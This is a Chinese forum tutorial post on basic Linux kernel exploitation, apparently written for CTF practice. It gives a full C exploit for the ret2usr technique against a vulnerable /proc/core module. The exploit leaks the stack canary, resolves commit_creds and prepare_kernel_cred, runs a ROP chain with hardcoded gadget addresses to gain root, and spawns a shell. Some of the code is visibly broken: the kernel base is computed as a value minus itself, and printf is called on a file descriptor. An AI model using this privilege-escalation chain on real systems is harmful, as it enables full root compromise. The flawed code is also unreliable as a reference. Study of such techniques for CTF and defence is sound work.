吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2658|回复: 7
上一主题 下一主题
收起左侧

[调试逆向] Linux内核PWN基础手法(随学习进度更新)

[复制链接]
跳转到指定楼层
楼主
peiwithhao 发表于 2022-11-23 22:55 回帖奖励
本帖最后由 peiwithhao 于 2022-11-23 23:40 编辑

Linux内核PWN基础手法(随进度更新)

这里我就把几个简单的利用手法汇总起来,免得每次都得多写一篇,日后学到哪儿我就继续在这里添加了,希望大家可以收藏了一起学习

0x00 ret2user(no SMEP/SMAP)

ret2usr 攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。
我这里的自我理解那就是,在用户态定义了函数调用,然后我们在内核态的时候通过ROP等手法时期直接执行在用户态的代码,这样就实现了在内核态ring0的特权来执行用户代码,实际上还蛮简单的,虽然说这个利用手法在KPTI出现之后很少利用了,但是我毕竟还是刚学,所以还是得了解点的。


综上,所以咱们只需要在exp中添加这样一段代码即可:

void getRootPrivilige(void){
  void *(*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
  int (*commit_creds_ptr)(void *) = commit_creds;
  (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

这里也就是在咱们获得这俩兄弟的地址后在用户程序定义的函数调用,所以咱们只需在ROP中添加这个函数地址使其调用然后通过SWAPGS等系统调用返回用户态即可,以下是成功图!
(是不是很像上此文章的图,兄弟们你们听我狡辩啊不是听我解释,这我真的重新运行的,大伙别说我偷懒)

  1. 通过读取 /tmp/kallsyms 获取 commit_creds 和 prepare_kernel_cred 的方法相同,同时根据这些偏移能确定 gadget 的地址。
  2. leak canary 的方法也相同,通过控制全局变量 off 读出 canary。
  3. 与 kernel rop 做法不同的是 rop 链的构造:

    1. kernel rop 通过 内核空间的 rop 链达到执行 commit_creds(prepare_kernel_cred(0)) 以提权目的,之后通过 swapgs; iretq 等返回到用户态,执行用户空间的 system("/bin/sh") 获取 shell
    2. ret2usr 做法中,直接返回到用户空间构造的commit_creds(prepare_kernel_cred(0)) (通过函数指针实现)来提权,虽然这两个函数位于内核空间,但此时我们是 ring 0 特权,因此可以正常运行。之后也是通过 swapgs; iretq 返回到用户态来执行用户空间的 system("/bin/sh")

从这两种做法的比较可以体会出之所以要 ret2usr,是因为一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。(但是据我现在了解最不怕的就是他了(狗头))
以下是exp:

// gcc exp.c -o exp -static -masm=intel -g
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t commit_creds = NULL, prepare_kernel_cred = NULL;        // address of to key function
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RDI_RET 0xffffffff81000b2f  
#define POP_RCX_RET 0xffffffff81021e53
#define IRETQ 0xffffffff81050ac2 
size_t user_cs, user_ss,user_rflags,user_sp;

//int fd = 0;        // file pointer of process 'core'

/*void saveStatus();
void get_function_address();
#void core_read(int fd, char* buf);
void change_off(int fd, long long off);
void core_copy_func(int fd, long long nbytes);
void print_binary(char* buf, int length);
void shell();
*/
void saveStatus(){
  __asm__("mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;"
          );
  puts("\033[34m\033[1m Status has been saved . \033[0m");
}

void getRootPrivilige(void){
  void *(*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
  int (*commit_creds_ptr)(void *) = commit_creds;
  (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void core_read(int fd, char *addr){
  printf("try read\n");
  ioctl(fd,0x6677889B,addr);
  printf("read done!");
}

void change_off(int fd, long long off){
  printf("try set off \n");
  ioctl(fd,0x6677889C,off);
}

void core_copy_func(int fd, long long nbytes){
  puts("try cp\n");
  ioctl(fd,0x6677889A,nbytes);
}

void get_function_address(){
        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.
        if(sym_table == NULL){
                printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m");
                exit(1);
        }
        size_t addr = 0;
        char type[0x10];
        char func_name[0x50];
        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.
                        return;
                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found
                        commit_creds = addr;
                        printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds);
                }else if(!strcmp(func_name, "prepare_kernel_cred")){
                        prepare_kernel_cred = addr;
                        printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred);
                }
        }
}

void shell(){
        if(getuid()){
                printf("\033[31m\033[1m[x] Error: Failed to get root, exiting......\n\033[0m");
                exit(1);
        }
        printf("\033[32m\033[1m[+] Getting the root......\033[0m\n");
        system("/bin/sh");
        exit(0);
}

int main(){
  saveStatus();
  int fd = open("/proc/core",2);              //get the process fd
  if(!fd){
                printf("\033[31m\033[1m[x] Error: Cannot open process \"core\"\n\033[0m");
                exit(1);
        }
  char buffer[0x100] = {0};
        get_function_address();                // get addresses of two key function
  ssize_t vmlinux = commit_creds - commit_creds;            //base address
  printf("vmlinux_base = %x",vmlinux);
  //get canary 
  size_t canary;
  change_off(fd,0x40);
  getchar();
  printf(fd);
  core_read(fd,buffer);
  canary = ((size_t *)buffer)[0];
  printf("canary ==> %p\n",canary);
  //build the ROP
  size_t rop_chain[0x1000] ,i= 0;
  printf("construct the chain\n");
  for(i=0; i< 10 ;i++){
    rop_chain[i] = canary;
  }
  rop_chain[i++] = (size_t)getRootPrivilige; 
  rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux;
  rop_chain[i++] = 0;
  rop_chain[i++] = IRETQ + vmlinux;
  rop_chain[i++] = (size_t)shell;
  rop_chain[i++] = user_cs;
  rop_chain[i++] = user_rflags;
  rop_chain[i++] = user_sp;
  rop_chain[i++] = user_ss;
  write(fd,rop_chain,0x800);
  core_copy_func(fd,0xffffffffffff0100); 
}

0x01 ret2user(with SMEP/SMAP)

0x02 KPTI bypass

0x03 ret2dir

0x04 UAF

我先写这儿定个计划

对了大伙最近我代码全存github了,开了个仓库给大家耍耍,想整点内核pwn的资料都存里面,大家伙可以一起来瞧瞧

我的github仓库地址

免费评分

参与人数 5吾爱币 +12 热心值 +5 收起 理由
willJ + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Burpcka + 1 + 1 热心回复!
Tonyha7 + 1 + 1 用心讨论,共获提升!
skywalker0123 + 2 + 1 膜拜ctf大佬
9277d + 1 + 1 我很赞同!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
9277d 发表于 2022-11-23 23:14
初学linux的我,只能直呼&#128046;
3#
zhanghaollpp 发表于 2022-11-24 01:06
4#
skywalker0123 发表于 2022-11-24 06:39
5#
Json852 发表于 2022-11-24 09:55
跟着学一学
6#
ssjjtt 发表于 2022-11-24 10:14
可以啊兄弟666666
7#
wyd521 发表于 2022-11-24 12:35
学到了,感谢楼主
8#
luodeman 发表于 2022-11-25 08:15
感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-16 16:30

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表